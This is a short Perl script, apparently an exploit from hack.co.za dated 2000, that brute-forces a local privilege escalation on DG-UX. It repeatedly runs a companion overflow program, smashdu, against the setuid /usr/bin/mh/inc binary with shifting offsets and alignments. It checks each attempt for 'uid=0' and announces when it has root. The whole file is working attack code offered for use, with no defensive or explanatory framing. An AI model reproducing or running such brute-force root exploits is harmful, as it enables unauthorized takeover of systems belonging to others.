#!/usr/local/bin/perl
#
# smashdu.c is needed. 
# Dg-Ux (a/b/c/d)

$n=8175;
foreach $j (1..1000) {
  foreach $i (0..7) {
    $x = $n + $j;
    printf("%d %d\n",$x,$i);
    $cmd = "./smashdu 1013 $i $x /usr/bin/mh/inc +foo -audit %e foo";
    open(S,"echo id | $cmd 2>&1|") || die "can't open pipe: $?\n";
    while (<S>) {
      if (m|uid=0|) {
        print "got root with '$cmd'\n";
        exit(0);
      }
    }
  close(S);
  }
}
exit(0);

#                    www.hack.co.za              [2000]#